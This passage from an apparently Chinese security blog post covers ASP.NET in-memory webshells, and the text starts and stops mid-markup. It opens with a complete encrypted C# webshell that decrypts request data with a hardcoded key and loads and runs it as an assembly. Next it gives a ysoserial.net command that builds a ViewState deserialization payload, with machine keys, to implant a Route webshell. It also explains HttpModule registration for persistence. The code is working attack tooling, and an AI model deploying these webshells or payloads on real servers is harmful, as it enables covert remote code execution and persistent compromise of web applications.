-webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">class</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">d</span>{    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">d</span>()</span>    {        System.Web.HttpContext Context = System.Web.HttpContext.Current;        Context.Server.ClearError();        Context.Response.Clear();        <span style="color: rgb(198, 120, 221);line-height: 26px;">try</span>        {            <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> key = <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;3c6e0b8a9c15224a&#34;</span>;            <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> pass = <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;pas&#34;</span>;            <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> md5 = System.BitConverter.ToString(<span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;-&#34;</span>, <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;&#34;</span>);            <span style="color: rgb(198, 120, 221);line-height: 26px;">byte</span>[] data = System.Convert.FromBase64String(Context.Request[pass]);            data = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, <span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>, data.Length);            <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> (Context.Session[<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;payload&#34;</span>] == <span style="color: rgb(86, 182, 194);line-height: 26px;">null</span>)            {                Context.Session[<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;payload&#34;</span>] = (System.Reflection.Assembly)<span style="color: rgb(198, 120, 221);line-height: 26px;">typeof</span>(System.Reflection.Assembly).GetMethod(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;Load&#34;</span>, <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> System.Type[] { <span style="color: rgb(198, 120, 221);line-height: 26px;">typeof</span>(<span style="color: rgb(198, 120, 221);line-height: 26px;">byte</span>[]) }).Invoke(<span style="color: rgb(86, 182, 194);line-height: 26px;">null</span>, <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span>[] { data });            }            <span style="color: rgb(198, 120, 221);line-height: 26px;">else</span>            {                System.IO.MemoryStream outStream = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> System.IO.MemoryStream();                <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span> o = ((System.Reflection.Assembly)Context.Session[<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;payload&#34;</span>]).CreateInstance(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;LY&#34;</span>);                o.Equals(Context); o.Equals(outStream); o.Equals(data); o.ToString();                <span style="color: rgb(198, 120, 221);line-height: 26px;">byte</span>[] r = outStream.ToArray();                Context.Response.Write(md5.Substring(<span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>, <span style="color: rgb(209, 154, 102);line-height: 26px;">16</span>));                Context.Response.Write(System.Convert.ToBase64String(<span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, <span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>, r.Length))); Context.Response.Write(md5.Substring(<span style="color: rgb(209, 154, 102);line-height: 26px;">16</span>));            }        }        <span style="color: rgb(198, 120, 221);line-height: 26px;">catch</span> (System.Exception) { }        Context.Response.Flush();        Context.Response.End();    }}</p></pre><h2 style="margin: 70px 30px 30px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;text-align: center;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(255, 255, 255, 0.1)));">改造内存马</span></h2><h3 style="margin: 60px auto 10px;color: rgb(255, 255, 255);font-weight: bold;font-size: 17px;background-color: rgb(0, 0, 0);padding: 2px 10px;width: fit-content;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;">Route</h3><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">修改项目Framework版本</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.687962962962963" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9832cc64&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmAj9shZiaM98907zDDVZ5stpSkKNdHia4pGSCgd1Xkn69oyhoCWibXqzsg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">首先为项目添加mvc包支持</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5083333333333333" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3a0cd3e0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCm5BDKVibtlcZpiaHrQ37icVqria7gLn6HNBGN3vicTbKle4cwGUicb9jicLMEw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">修改文件熟悉</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5012135922330098" data-s="300,640" style="" data-type="png" data-w="824" src="https://wechat2rss.xlab.app/img-proxy/?k=d9c8d265&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmUW1R16d0ibK5BDcN4YYLqBD9hdvZTkVnVSquBKoxoq9em7946hbUutA%2F640%3Fwx_fmt%3Dpng"/></p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">-p ViewState -g ActivitySurrogateSelectorFromFile -c &#34;RouteWebshell.cs;System.dll;System.Web.dll;System.Web.Mvc.dll&#34; --decryptionalg=&#34;AES&#34; --decryptionkey=&#34;51FE611365277B07911521B7CAFE3766751D16C33D96242F0E63E93FB102BCE2&#34; --validationalg=&#34;HMACSHA256&#34; --validationkey=&#34;BF579EF0E9F0C85277E75726BFC9D0260FADE8DE2864A583484AA132944F602D&#34; --path=&#34;/login.aspx&#34; --apppath=&#34;/&#34; --isdebug</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">比较麻烦的的一点是exploitclass和ysoserial属于两个不同的项目，每次修改代码之后记得要build一次，不然运行ysoerial不会编译新的代码</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">这里有个和蚁剑作者写的不同的地方</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><strong>使用web forms框架的项目，通常不用mvc的filter去做权限控制</strong></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><strong>使用mvc的通常也不用viewstate去控制页面状态</strong></p><h3 style="margin: 60px auto 10px;color: rgb(255, 255, 255);font-weight: bold;font-size: 17px;background-color: rgb(0, 0, 0);padding: 2px 10px;width: fit-content;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;">Http Module</h3><h4 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">http module介绍</h4><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">HttpHandler（HTTP处理程序）和HttpModule（HTTP模块）是ASP.NET处理HTTP请求的重要组件</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">首先我们来看一下ASP.NET处理web请求的流程~~~~</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=25612ffb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmCB5tAsa4ZKIHkV1TSwxuC4Q4NRThicHK2FUtiblSsd47NS3KgymERbOw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">可以看到在经过http module对请求的处理后才进入handler对请求做进一步的处理</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">Http请求像是一个旅客身上带着行李拿着票来搭火车.</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">HttpHandler 是火车的终点站.HttpModule 是火车中途停靠的各站.</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">要查看有哪写IHttpModule或IHttpHandler被注册可以看applicationhost.config</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">路径：C:\Users[user]\Documents\IISExpress\config\applicationhost.config</p><h4 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">创建一个http module</h4><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">首先创建一个http module</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">using</span> System;<span style="color: rgb(198, 120, 221);line-height: 26px;">using</span> System.Web;<span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">class</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">HelloWorldModule</span> : <span style="color: rgb(97, 174, 238);line-height: 26px;">IHttpModule</span>{    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">HelloWorldModule</span>()</span>    {    }    <span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> String ModuleName    {        <span style="color: rgb(198, 120, 221);line-height: 26px;">get</span> { <span style="color: rgb(198, 120, 221);line-height: 26px;">return</span> <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;HelloWorldModule&#34;</span>; }    }    <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// In the Init function, register for HttpApplication </span>    <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// events by adding your handlers.</span>    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">Init</span>(<span style="line-height: 26px;">HttpApplication application</span>)</span>    {        application.BeginRequest +=             (<span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> EventHandler(<span style="color: rgb(198, 120, 221);line-height: 26px;">this</span>.Application_BeginRequest));        application.EndRequest +=             (<span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> EventHandler(<span style="color: rgb(198, 120, 221);line-height: 26px;">this</span>.Application_EndRequest));    }    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">private</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">Application_BeginRequest</span>(<span style="line-height: 26px;">Object source,          EventArgs e</span>)</span>    {    <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// Create HttpApplication and HttpContext objects to access</span>    <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// request and response properties.</span>        HttpApplication application = (HttpApplication)source;        HttpContext context = application.Context;        <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> filePath = context.Request.FilePath;        <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> fileExtension =             VirtualPathUtility.GetExtension(filePath);        <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> (fileExtension.Equals(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;.aspx&#34;</span>))        {            context.Response.Write(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;&lt;h1&gt;&lt;font color=red&gt;&#34;</span> +                <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;HelloWorldModule: Beginning of Request&#34;</span> +                <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;&lt;/font&gt;&lt;/h1&gt;&lt;hr&gt;&#34;</span>);        }    }    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">private</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">Application_EndRequest</span>(<span style="line-height: 26px;">Object source, EventArgs e</span>)</span>    {        HttpApplication application = (HttpApplication)source;        HttpContext context = application.Context;        <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> filePath = context.Request.FilePath;        <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> fileExtension =             VirtualPathUtility.GetExtension(filePath);        <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> (fileExtension.Equals(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;.aspx&#34;</span>))        {            context.Response.Write(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;&lt;hr&gt;&lt;h1&gt;&lt;font color=red&gt;&#34;</span> +                <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;HelloWorldModule: End of Request&lt;/font&gt;&lt;/h1&gt;&#34;</span>);        }    }    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">Dispose</span>()</span> { }}</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">然后再web.config中注册</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">&lt;configuration&gt;  &lt;system.web&gt;    &lt;httpModules&gt;      &lt;add name=&#34;HelloWorldModule&#34; type=&#34;HelloWorldModule&#34;/&gt;     &lt;/httpModules&gt;  &lt;/system.web&gt;&lt;/configuration&gt;</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">那么我们能动态修改web.config并加载我们的module，但是修改核心配置文件动静太大了</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">        Configuration config = WebConfigurationManager.OpenWebConfiguration(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;~&#34;</span>);<span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// 获取系统.web/httpModules 节点</span>        HttpModulesSection httpModulesSection = (HttpModulesSection)config.GetSection(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;system.web/httpModules&#34;</span>);<span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// 创建自定义模块的配置元素</span>        HttpModuleAction moduleAction = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> HttpModuleAction(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;CustomModule&#34;</span>, <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;YourNamespace.CustomModule, YourAssembly&#34;</span>);<span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// 将自定义模块的配置元素添加到 httpModulesSection</span>        httpModulesSection.Modules.Add(moduleAction);<span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// 保存配置更改</span>        config.Save();</p></pre><h4 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">module init</h4><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">接下来看一下写在web.config里面的module是在哪里注册的</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">就在Httpapplication.cs中</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="https://referencesource.microsoft.com/#System.Web/HttpApplication.cs,bdaceac545ce071d,references" target="_blank">https://referencesource.microsoft.com/#System.Web/HttpApplication.cs,bdaceac545ce071d,references</a></p><figure style="margin-top: 10px;margin-bottom: 10px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3085606773283161" data-s="300,640" style="" data-type="png" data-w="1063" src="https://wechat2rss.xlab.app/img-proxy/?k=04068c1e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmDmicmULGYuo2Vf6XtuLmWH00ju9u3bUNjGkoY3EwN0C8a70GIT9n5Aw%2F640%3Fwx_fmt%3Dpng"/></p></figure><div style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">可以看到读取配置文件并将在<p style="font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(255, 100, 65);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">web.config</p>文件中注册的module放在<p style="font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(255, 100, 65);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">HttpModuleCollection</p>类型的集合中并传递给属性<p style="font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(255, 100, 65);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">_moduleCollection</p></div><div style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">接下来看一下<p style="font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(255, 100, 65);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">InitModulesCommon</p>方法做了什么操作</div><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="https://referencesource.microsoft.com/#System.Web/HttpApplication.cs,44cc1113dad08b6d" target="_blank">https://referencesource.microsoft.com/#System.Web/HttpApplication.cs,44cc1113dad08b6d</a></p><figure style="margin-top: 10px;margin-bottom: 10px;color: rgb(0, 0, 0);font-family: Optima-Regular, 